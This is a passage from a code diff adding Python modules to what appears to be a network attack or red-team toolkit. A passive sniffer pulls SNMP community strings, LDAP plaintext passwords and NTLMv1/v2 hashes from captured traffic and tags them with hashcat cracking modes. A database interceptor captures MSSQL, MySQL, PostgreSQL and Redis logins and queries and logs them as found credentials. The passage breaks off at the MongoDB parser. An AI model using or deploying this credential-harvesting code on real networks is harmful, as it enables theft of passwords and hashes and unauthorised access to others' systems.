||||
return
|
||||
|
||||
community = payload[offset:offset + comm_len].decode("ascii", errors="replace")
|
||||
|
||||
# Skip trivially useless ones
|
||||
if community.lower() in ("", "public"):
|
||||
return
|
||||
|
||||
self._emit_credential(
|
||||
ts, src_ip, dst_ip, dst_port,
|
||||
"snmp", "", "", "community_string", community,
|
||||
HASHCAT_MODES["snmp"],
|
||||
)
|
||||
|
||||
def _parse_ldap(self, ts: float, src_ip: str, dst_ip: str,
|
||||
dst_port: int, payload: bytes) -> None:
|
||||
"""Extract LDAP simple bind credentials."""
|
||||
if len(payload) < 14:
|
||||
return
|
||||
|
||||
# LDAP messages are BER encoded
|
||||
# Sequence (0x30)
|
||||
if payload[0] != 0x30:
|
||||
return
|
||||
|
||||
offset = 1
|
||||
# Skip outer sequence length
|
||||
seq_len, offset = self._ber_length(payload, offset)
|
||||
if seq_len < 0:
|
||||
return
|
||||
|
||||
# MessageID: Integer (0x02)
|
||||
if offset >= len(payload) or payload[offset] != 0x02:
|
||||
return
|
||||
offset += 1
|
||||
id_len, offset = self._ber_length(payload, offset)
|
||||
if id_len < 0:
|
||||
return
|
||||
offset += id_len
|
||||
|
||||
# BindRequest: Application[0] = 0x60
|
||||
if offset >= len(payload) or payload[offset] != 0x60:
|
||||
return
|
||||
offset += 1
|
||||
bind_len, offset = self._ber_length(payload, offset)
|
||||
if bind_len < 0:
|
||||
return
|
||||
|
||||
# Version: Integer (0x02)
|
||||
if offset >= len(payload) or payload[offset] != 0x02:
|
||||
return
|
||||
offset += 1
|
||||
ver_len, offset = self._ber_length(payload, offset)
|
||||
if ver_len < 0:
|
||||
return
|
||||
offset += ver_len
|
||||
|
||||
# DN: OctetString (0x04)
|
||||
if offset >= len(payload) or payload[offset] != 0x04:
|
||||
return
|
||||
offset += 1
|
||||
dn_len, offset = self._ber_length(payload, offset)
|
||||
if dn_len < 0 or offset + dn_len > len(payload):
|
||||
return
|
||||
dn = payload[offset:offset + dn_len].decode("utf-8", errors="replace")
|
||||
offset += dn_len
|
||||
|
||||
# Auth choice: Simple = Context[0] = 0x80
|
||||
if offset >= len(payload) or payload[offset] != 0x80:
|
||||
return
|
||||
offset += 1
|
||||
pass_len, offset = self._ber_length(payload, offset)
|
||||
if pass_len < 0 or offset + pass_len > len(payload):
|
||||
return
|
||||
password = payload[offset:offset + pass_len].decode("utf-8", errors="replace")
|
||||
|
||||
if not password:
|
||||
return
|
||||
|
||||
self._emit_credential(
|
||||
ts, src_ip, dst_ip, dst_port,
|
||||
"ldap_simple", dn, "", "plaintext", password,
|
||||
HASHCAT_MODES["ldap_simple"],
|
||||
)
|
||||
|
||||
def _parse_smb_ntlm(self, ts: float, src_ip: str, dst_ip: str,
|
||||
dst_port: int, src_port: int, payload: bytes) -> None:
|
||||
"""Extract NTLM auth from SMB2 session setup messages."""
|
||||
# SMB2 header: 0xFE 'S' 'M' 'B'
|
||||
# Search for NTLMSSP signature in payload
|
||||
ntlmssp_offset = payload.find(b"NTLMSSP\x00")
|
||||
if ntlmssp_offset < 0:
|
||||
return
|
||||
|
||||
ntlm_data = payload[ntlmssp_offset:]
|
||||
target_ip = dst_ip if dst_port == 445 else src_ip
|
||||
client_ip = src_ip if dst_port == 445 else dst_ip
|
||||
|
||||
self._parse_ntlm_token(ts, client_ip, target_ip, 445, "smb", ntlm_data)
|
||||
|
||||
def _parse_ntlm_token(self, ts: float, src_ip: str, dst_ip: str,
|
||||
dst_port: int, service: str, data: bytes) -> None:
|
||||
"""Parse NTLMSSP authentication message (Type 3) for NTLMv1/v2 hashes."""
|
||||
if len(data) < 12:
|
||||
return
|
||||
|
||||
# Check NTLMSSP signature
|
||||
if data[:8] != b"NTLMSSP\x00":
|
||||
return
|
||||
|
||||
msg_type = struct.unpack("<I", data[8:12])[0]
|
||||
|
||||
if msg_type == 3: # AUTHENTICATE_MESSAGE
|
||||
if len(data) < 72:
|
||||
return
|
||||
|
||||
# Parse field offsets
|
||||
lm_len = struct.unpack("<H", data[12:14])[0]
|
||||
lm_off = struct.unpack("<I", data[16:20])[0]
|
||||
nt_len = struct.unpack("<H", data[20:22])[0]
|
||||
nt_off = struct.unpack("<I", data[24:28])[0]
|
||||
domain_len = struct.unpack("<H", data[28:30])[0]
|
||||
domain_off = struct.unpack("<I", data[32:36])[0]
|
||||
user_len = struct.unpack("<H", data[36:38])[0]
|
||||
user_off = struct.unpack("<I", data[40:44])[0]
|
||||
|
||||
# Extract fields
|
||||
try:
|
||||
domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace")
|
||||
username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace")
|
||||
except Exception:
|
||||
return
|
||||
|
||||
if not username:
|
||||
return
|
||||
|
||||
# Determine NTLMv1 vs NTLMv2
|
||||
if nt_len == 24:
|
||||
# NTLMv1
|
||||
nt_hash = data[nt_off:nt_off + nt_len].hex()
|
||||
lm_hash = data[lm_off:lm_off + lm_len].hex() if lm_len > 0 else ""
|
||||
cred_value = f"{username}::{domain}:{lm_hash}:{nt_hash}:"
|
||||
cred_type = "ntlmv1"
|
||||
hashcat_mode = HASHCAT_MODES["ntlmv1"]
|
||||
elif nt_len > 24:
|
||||
# NTLMv2
|
||||
nt_response = data[nt_off:nt_off + nt_len]
|
||||
nt_proof = nt_response[:16].hex()
|
||||
nt_blob = nt_response[16:].hex()
|
||||
# Server challenge would ideally come from Type 2 message
|
||||
# For now, format as hashcat-compatible partial
|
||||
cred_value = f"{username}::{domain}::{nt_proof}:{nt_blob}"
|
||||
cred_type = "ntlmv2"
|
||||
hashcat_mode = HASHCAT_MODES["ntlmv2"]
|
||||
else:
|
||||
return
|
||||
|
||||
self._emit_credential(
|
||||
ts, src_ip, dst_ip, dst_port,
|
||||
service, username, domain, cred_type, cred_value, hashcat_mode,
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _ber_length(data: bytes, offset: int) -> tuple:
|
||||
"""Read a BER-encoded length. Returns (length, new_offset) or (-1, offset) on error."""
|
||||
if offset >= len(data):
|
||||
return -1, offset
|
||||
first = data[offset]
|
||||
offset += 1
|
||||
if first & 0x80 == 0:
|
||||
return first, offset
|
||||
num_bytes = first & 0x7F
|
||||
if num_bytes == 0 or offset + num_bytes > len(data):
|
||||
return -1, offset
|
||||
length = int.from_bytes(data[offset:offset + num_bytes], "big")
|
||||
return length, offset + num_bytes
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Credential emission
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _emit_credential(self, ts: float, src_ip: str, target_ip: str,
|
||||
target_port: int, service: str, username: str,
|
||||
domain: str, cred_type: str, cred_value: str,
|
||||
hashcat_mode: int) -> None:
|
||||
"""Buffer credential for SQLite and immediately publish bus event."""
|
||||
self._total_creds += 1
|
||||
|
||||
record = (ts, src_ip, target_ip, target_port, service,
|
||||
username, domain, cred_type, cred_value, hashcat_mode)
|
||||
|
||||
with self._buffer_lock:
|
||||
self._buffer.append(record)
|
||||
if len(self._buffer) >= self.BATCH_SIZE:
|
||||
self._flush_buffer()
|
||||
|
||||
# Immediate bus notification
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source_ip": src_ip,
|
||||
"target_ip": target_ip,
|
||||
"target_port": target_port,
|
||||
"service": service,
|
||||
"username": username,
|
||||
"domain": domain,
|
||||
"cred_type": cred_type,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
})
|
||||
|
||||
logger.info(
|
||||
"CREDENTIAL: %s %s@%s:%d (%s/%s)",
|
||||
service, username, target_ip, target_port, cred_type,
|
||||
f"hashcat -m {hashcat_mode}" if hashcat_mode else "plaintext",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Buffer flush
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(self.FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Credential flush error")
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._buffer)
|
||||
self._buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
self._db_conn.executemany(
|
||||
"INSERT INTO credentials "
|
||||
"(timestamp, source_ip, target_ip, target_port, service, "
|
||||
"username, domain, cred_type, cred_value, hashcat_mode) "
|
||||
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
batch,
|
||||
)
|
||||
self._db_conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to flush %d credentials", len(batch))
|
||||
@@ -0,0 +1,698 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Database protocol interceptor — passive database query and auth monitoring.
|
||||
|
||||
Parses login packets and query metadata for:
|
||||
- MSSQL TDS (1433): TDS7 Login packet, SQL batch text
|
||||
- MySQL (3306): Handshake, Login Request, COM_QUERY
|
||||
- PostgreSQL (5432): Startup message, Simple Query
|
||||
- Redis (6379): AUTH command, key operations
|
||||
- MongoDB (27017): OP_MSG saslStart, find operations
|
||||
|
||||
Logs queries but NOT full result sets to avoid excessive data.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# TDS packet types
|
||||
TDS_SQL_BATCH = 0x01
|
||||
TDS_LOGIN7 = 0x10
|
||||
TDS_PRELOGIN = 0x12
|
||||
|
||||
# MySQL commands
|
||||
MYSQL_COM_QUERY = 0x03
|
||||
MYSQL_COM_INIT_DB = 0x02
|
||||
|
||||
# PostgreSQL message types
|
||||
PG_STARTUP = 0x00 # No type byte — identified by structure
|
||||
PG_SIMPLE_QUERY = ord('Q')
|
||||
PG_PASSWORD = ord('p')
|
||||
|
||||
# Redis inline delimiters
|
||||
REDIS_CRLF = b'\r\n'
|
||||
|
||||
# MongoDB opcodes
|
||||
MONGO_OP_MSG = 2013
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS db_queries (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
dest_ip TEXT NOT NULL,
|
||||
db_type TEXT NOT NULL,
|
||||
username TEXT DEFAULT '',
|
||||
database TEXT DEFAULT '',
|
||||
query_text TEXT DEFAULT '',
|
||||
operation TEXT NOT NULL
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_dbq_type ON db_queries(db_type);
|
||||
CREATE INDEX IF NOT EXISTS idx_dbq_user ON db_queries(username);
|
||||
CREATE INDEX IF NOT EXISTS idx_dbq_ts ON db_queries(timestamp);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 45
|
||||
MAX_QUERY_LEN = 2000 # Truncate queries beyond this
|
||||
|
||||
|
||||
class DBInterceptor(BaseModule):
|
||||
"""Passively intercept database authentication and queries."""
|
||||
|
||||
name = "db_interceptor"
|
||||
module_type = "passive"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"mssql_events": 0,
|
||||
"mysql_events": 0,
|
||||
"postgres_events": 0,
|
||||
"redis_events": 0,
|
||||
"mongodb_events": 0,
|
||||
"logins_captured": 0,
|
||||
"queries_captured": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("DBInterceptor requires _capture_bus in config")
|
||||
return
|
||||
|
||||
bpf = "port 1433 or port 3306 or port 5432 or port 6379 or port 27017"
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter=bpf, queue_depth=5000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-dbi-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-dbi-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("DBInterceptor started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("DBInterceptor stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing DB packet", exc_info=True)
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Route packet to the correct database parser based on port."""
|
||||
if len(pkt) < 54:
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 58:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
if len(ip_header) < 20:
|
||||
return
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
if ip_proto != 6: # TCP only
|
||||
return
|
||||
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
if len(ip_header) < ihl + 20:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
|
||||
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
|
||||
payload = ip_header[ihl + tcp_data_off:]
|
||||
|
||||
if len(payload) < 4:
|
||||
return
|
||||
|
||||
# Route by destination port (client -> server)
|
||||
if dst_port == 1433 or src_port == 1433:
|
||||
self._parse_mssql(payload, src_ip, dst_ip, dst_port == 1433, ts)
|
||||
elif dst_port == 3306 or src_port == 3306:
|
||||
self._parse_mysql(payload, src_ip, dst_ip, dst_port == 3306, ts)
|
||||
elif dst_port == 5432 or src_port == 5432:
|
||||
self._parse_postgres(payload, src_ip, dst_ip, dst_port == 5432, ts)
|
||||
elif dst_port == 6379 or src_port == 6379:
|
||||
self._parse_redis(payload, src_ip, dst_ip, dst_port == 6379, ts)
|
||||
elif dst_port == 27017 or src_port == 27017:
|
||||
self._parse_mongodb(payload, src_ip, dst_ip, dst_port == 27017, ts)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# MSSQL TDS parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_mssql(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
is_to_server: bool, ts: float) -> None:
|
||||
"""Parse MSSQL TDS packets."""
|
||||
if len(payload) < 8:
|
||||
return
|
||||
|
||||
# TDS header: type(1), status(1), length(2), SPID(2), packet(1), window(1)
|
||||
tds_type = payload[0]
|
||||
tds_len = struct.unpack("!H", payload[2:4])[0]
|
||||
|
||||
if tds_type == TDS_LOGIN7 and is_to_server and len(payload) >= 36:
|
||||
self._parse_tds_login7(payload[8:], src_ip, dst_ip, ts)
|
||||
elif tds_type == TDS_SQL_BATCH and is_to_server:
|
||||
# SQL batch: header group + SQL text (all Unicode LE after 8-byte TDS header)
|
||||
self._parse_tds_sql_batch(payload[8:], src_ip, dst_ip, ts)
|
||||
|
||||
def _parse_tds_login7(self, data: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse TDS7 Login packet for username, hostname, app name."""
|
||||
if len(data) < 36:
|
||||
return
|
||||
|
||||
self._stats["mssql_events"] += 1
|
||||
self._stats["logins_captured"] += 1
|
||||
|
||||
try:
|
||||
# TDS7 Login: fixed header of 36 bytes then variable data
|
||||
# HostName offset(2) + length(2) at offset 8
|
||||
# UserName offset(2) + length(2) at offset 16
|
||||
# AppName offset(2) + length(2) at offset 24
|
||||
# ServerName offset(2) + length(2) at offset 28
|
||||
# Database offset(2) + length(2) at offset 40 (but we have 36-byte minimum)
|
||||
|
||||
hostname_off = struct.unpack("<H", data[8:10])[0]
|
||||
hostname_len = struct.unpack("<H", data[10:12])[0]
|
||||
|
||||
username_off = struct.unpack("<H", data[16:18])[0]
|
||||
username_len = struct.unpack("<H", data[18:20])[0]
|
||||
|
||||
appname_off = struct.unpack("<H", data[24:26])[0]
|
||||
appname_len = struct.unpack("<H", data[26:28])[0]
|
||||
|
||||
# Offsets are in chars (UTF-16LE = 2 bytes per char)
|
||||
username = self._read_utf16le(data, username_off, username_len)
|
||||
hostname = self._read_utf16le(data, hostname_off, hostname_len)
|
||||
appname = self._read_utf16le(data, appname_off, appname_len)
|
||||
|
||||
database = ""
|
||||
if len(data) >= 44:
|
||||
db_off = struct.unpack("<H", data[40:42])[0]
|
||||
db_len = struct.unpack("<H", data[42:44])[0]
|
||||
database = self._read_utf16le(data, db_off, db_len)
|
||||
|
||||
self._record_query(
|
||||
ts, src_ip, dst_ip, "mssql", username, database,
|
||||
f"LOGIN hostname={hostname} app={appname}", "login"
|
||||
)
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source": "mssql_tds_login",
|
||||
"username": username,
|
||||
"hostname": hostname,
|
||||
"source_ip": src_ip,
|
||||
"dest_ip": dst_ip,
|
||||
"database": database,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
logger.debug("Failed to parse TDS Login7", exc_info=True)
|
||||
|
||||
def _parse_tds_sql_batch(self, data: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse TDS SQL Batch for query text."""
|
||||
if len(data) < 4:
|
||||
return
|
||||
|
||||
# TDS SQL Batch: ALL_HEADERS (variable) + SQL text
|
||||
# ALL_HEADERS starts with TotalLength(4)
|
||||
total_headers_len = struct.unpack("<I", data[0:4])[0]
|
||||
if total_headers_len > len(data):
|
||||
total_headers_len = 0
|
||||
|
||||
sql_bytes = data[total_headers_len:]
|
||||
if not sql_bytes:
|
||||
return
|
||||
|
||||
try:
|
||||
query = sql_bytes.decode("utf-16-le", errors="replace")
|
||||
except Exception:
|
||||
query = sql_bytes.decode("ascii", errors="replace")
|
||||
|
||||
query = query.strip('\x00').strip()[:MAX_QUERY_LEN]
|
||||
if query:
|
||||
self._stats["mssql_events"] += 1
|
||||
self._stats["queries_captured"] += 1
|
||||
self._record_query(ts, src_ip, dst_ip, "mssql", "", "", query, "query")
|
||||
|
||||
@staticmethod
|
||||
def _read_utf16le(data: bytes, char_offset: int, char_length: int) -> str:
|
||||
"""Read UTF-16LE string from TDS data using char offset/length."""
|
||||
byte_off = char_offset * 2
|
||||
byte_len = char_length * 2
|
||||
if byte_off + byte_len > len(data):
|
||||
return ""
|
||||
try:
|
||||
return data[byte_off:byte_off + byte_len].decode("utf-16-le", errors="replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# MySQL parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_mysql(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
is_to_server: bool, ts: float) -> None:
|
||||
"""Parse MySQL protocol packets."""
|
||||
if len(payload) < 5:
|
||||
return
|
||||
|
||||
# MySQL packet: length(3 LE) + sequence_id(1) + payload
|
||||
pkt_len = struct.unpack("<I", payload[0:3] + b'\x00')[0]
|
||||
seq_id = payload[3]
|
||||
mysql_data = payload[4:]
|
||||
|
||||
if not mysql_data:
|
||||
return
|
||||
|
||||
if not is_to_server:
|
||||
# Server -> client: check for Handshake (protocol version 10)
|
||||
if mysql_data[0] == 10 and seq_id == 0:
|
||||
self._parse_mysql_handshake(mysql_data, src_ip, dst_ip, ts)
|
||||
return
|
||||
|
||||
# Client -> server
|
||||
cmd = mysql_data[0]
|
||||
if cmd == MYSQL_COM_QUERY and len(mysql_data) > 1:
|
||||
query = mysql_data[1:min(len(mysql_data), MAX_QUERY_LEN + 1)].decode(
|
||||
"utf-8", errors="replace"
|
||||
)
|
||||
self._stats["mysql_events"] += 1
|
||||
self._stats["queries_captured"] += 1
|
||||
self._record_query(ts, src_ip, dst_ip, "mysql", "", "", query, "query")
|
||||
|
||||
elif seq_id == 1 and len(mysql_data) >= 32:
|
||||
# Login Request (HandshakeResponse)
|
||||
self._parse_mysql_login(mysql_data, src_ip, dst_ip, ts)
|
||||
|
||||
def _parse_mysql_handshake(self, data: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse MySQL server Handshake for version info."""
|
||||
# Protocol version (1) + server version (null-terminated)
|
||||
if len(data) < 5:
|
||||
return
|
||||
null_idx = data.find(b'\x00', 1)
|
||||
if null_idx < 0:
|
||||
return
|
||||
server_version = data[1:null_idx].decode("ascii", errors="replace")
|
||||
self._stats["mysql_events"] += 1
|
||||
# Record as informational
|
||||
self._record_query(
|
||||
ts, dst_ip, src_ip, "mysql", "", "",
|
||||
f"SERVER_HANDSHAKE version={server_version}", "handshake"
|
||||
)
|
||||
|
||||
def _parse_mysql_login(self, data: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse MySQL Login Request (HandshakeResponse41)."""
|
||||
if len(data) < 32:
|
||||
return
|
||||
|
||||
try:
|
||||
# Client capabilities (4 bytes), max packet (4), charset (1),
|
||||
# reserved (23 bytes), username (null-terminated)
|
||||
username_start = 32
|
||||
null_idx = data.find(b'\x00', username_start)
|
||||
if null_idx < 0:
|
||||
return
|
||||
username = data[username_start:null_idx].decode("utf-8", errors="replace")
|
||||
|
||||
# After username + null + auth data, there may be a database name
|
||||
database = ""
|
||||
# Skip auth response length + data
|
||||
pos = null_idx + 1
|
||||
if pos < len(data):
|
||||
auth_len = data[pos]
|
||||
pos += 1 + auth_len
|
||||
if pos < len(data):
|
||||
db_null = data.find(b'\x00', pos)
|
||||
if db_null > pos:
|
||||
database = data[pos:db_null].decode("utf-8", errors="replace")
|
||||
|
||||
self._stats["mysql_events"] += 1
|
||||
self._stats["logins_captured"] += 1
|
||||
self._record_query(ts, src_ip, dst_ip, "mysql", username, database, "", "login")
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source": "mysql_login",
|
||||
"username": username,
|
||||
"database": database,
|
||||
"source_ip": src_ip,
|
||||
"dest_ip": dst_ip,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
logger.debug("Failed to parse MySQL login", exc_info=True)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# PostgreSQL parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_postgres(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
is_to_server: bool, ts: float) -> None:
|
||||
"""Parse PostgreSQL protocol messages."""
|
||||
if not is_to_server or len(payload) < 8:
|
||||
return
|
||||
|
||||
# Check for Startup Message: length(4) + protocol_version(4)
|
||||
# Protocol version 3.0 = 0x00030000
|
||||
if len(payload) >= 8:
|
||||
msg_len = struct.unpack("!I", payload[0:4])[0]
|
||||
proto_ver = struct.unpack("!I", payload[4:8])[0]
|
||||
|
||||
if proto_ver == 0x00030000 and msg_len > 8:
|
||||
# Startup message: parse key=value pairs
|
||||
self._parse_pg_startup(payload[8:msg_len], src_ip, dst_ip, ts)
|
||||
return
|
||||
|
||||
# Simple Query: type='Q' + length(4) + query_string
|
||||
if payload[0] == PG_SIMPLE_QUERY and len(payload) >= 6:
|
||||
query_len = struct.unpack("!I", payload[1:5])[0]
|
||||
query = payload[5:min(5 + query_len - 1, 5 + MAX_QUERY_LEN)].decode(
|
||||
"utf-8", errors="replace"
|
||||
).rstrip('\x00')
|
||||
if query:
|
||||
self._stats["postgres_events"] += 1
|
||||
self._stats["queries_captured"] += 1
|
||||
self._record_query(ts, src_ip, dst_ip, "postgres", "", "", query, "query")
|
||||
|
||||
def _parse_pg_startup(self, data: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse PostgreSQL Startup Message key-value pairs."""
|
||||
username = ""
|
||||
database = ""
|
||||
|
||||
pos = 0
|
||||
while pos < len(data) - 1:
|
||||
null_idx = data.find(b'\x00', pos)
|
||||
if null_idx < 0:
|
||||
break
|
||||
key = data[pos:null_idx].decode("utf-8", errors="replace")
|
||||
pos = null_idx + 1
|
||||
|
||||
val_null = data.find(b'\x00', pos)
|
||||
if val_null < 0:
|
||||
break
|
||||
value = data[pos:val_null].decode("utf-8", errors="replace")
|
||||
pos = val_null + 1
|
||||
|
||||
if key == "user":
|
||||
username = value
|
||||
elif key == "database":
|
||||
database = value
|
||||
|
||||
if not key: # Terminal null
|
||||
break
|
||||
|
||||
if username:
|
||||
self._stats["postgres_events"] += 1
|
||||
self._stats["logins_captured"] += 1
|
||||
self._record_query(ts, src_ip, dst_ip, "postgres", username, database, "", "login")
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source": "postgres_startup",
|
||||
"username": username,
|
||||
"database": database,
|
||||
"source_ip": src_ip,
|
||||
"dest_ip": dst_ip,
|
||||
})
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Redis parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_redis(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
is_to_server: bool, ts: float) -> None:
|
||||
"""Parse Redis RESP protocol for AUTH commands and key operations."""
|
||||
if not is_to_server or len(payload) < 3:
|
||||
return
|
||||
|
||||
# RESP: commands start with * (array) followed by count
|
||||
if payload[0:1] == b'*':
|
||||
args = self._parse_resp_array(payload)
|
||||
if not args:
|
||||
return
|
||||
|
||||
cmd = args[0].upper() if args else ""
|
||||
|
||||
if cmd == "AUTH":
|
||||
# AUTH [username] password
|
||||
password = args[-1] if len(args) >= 2 else ""
|
||||
username = args[1] if len(args) >= 3 else ""
|
||||
self._stats["redis_events"] += 1
|
||||
self._stats["logins_captured"] += 1
|
||||
self._record_query(ts, src_ip, dst_ip, "redis", username, "", "AUTH ***", "login")
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source": "redis_auth",
|
||||
"username": username,
|
||||
"source_ip": src_ip,
|
||||
"dest_ip": dst_ip,
|
||||
})
|
||||
|
||||
elif cmd in ("GET", "SET", "HGET", "HSET", "DEL", "KEYS",
|
||||
"MGET", "MSET", "LPUSH", "RPUSH", "SADD", "ZADD"):
|
||||
query = " ".join(args[:3]) # Command + first 2 args max
|
||||
self._stats["redis_events"] += 1
|
||||
self._stats["queries_captured"] += 1
|
||||
self._record_query(
|
||||
ts, src_ip, dst_ip, "redis", "", "",
|
||||
query[:MAX_QUERY_LEN], "query"
|
||||
)
|
||||
|
||||
def _parse_resp_array(self, data: bytes) -> list:
|
||||
"""Parse a RESP array into a list of string arguments."""
|
||||
args = []
|
||||
lines = data.split(REDIS_CRLF)
|
||||
if not lines or not lines[0].startswith(b'*'):
|
||||
return args
|
||||
|
||||
try:
|
||||
count = int(lines[0][1:])
|
||||
except ValueError:
|
||||
return args
|
||||
|
||||
idx = 1
|
||||
while len(args) < count and idx < len(lines) - 1:
|
||||
if lines[idx].startswith(b'$'):
|
||||
try:
|
||||
str_len = int(lines[idx][1:])
|
||||
except ValueError:
|
||||
break
|
||||
idx += 1
|
||||
if idx < len(lines):
|
||||
args.append(lines[idx].decode("utf-8", errors="replace")[:MAX_QUERY_LEN])
|
||||
idx += 1
|
||||
else:
|
||||
# Inline format
|
||||
args.append(lines[idx].decode("utf-8", errors="replace"))
|
||||
idx += 1
|
||||
|
||||
return args
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# MongoDB parser
|
||||
# ------------------------------------------------------------------
|
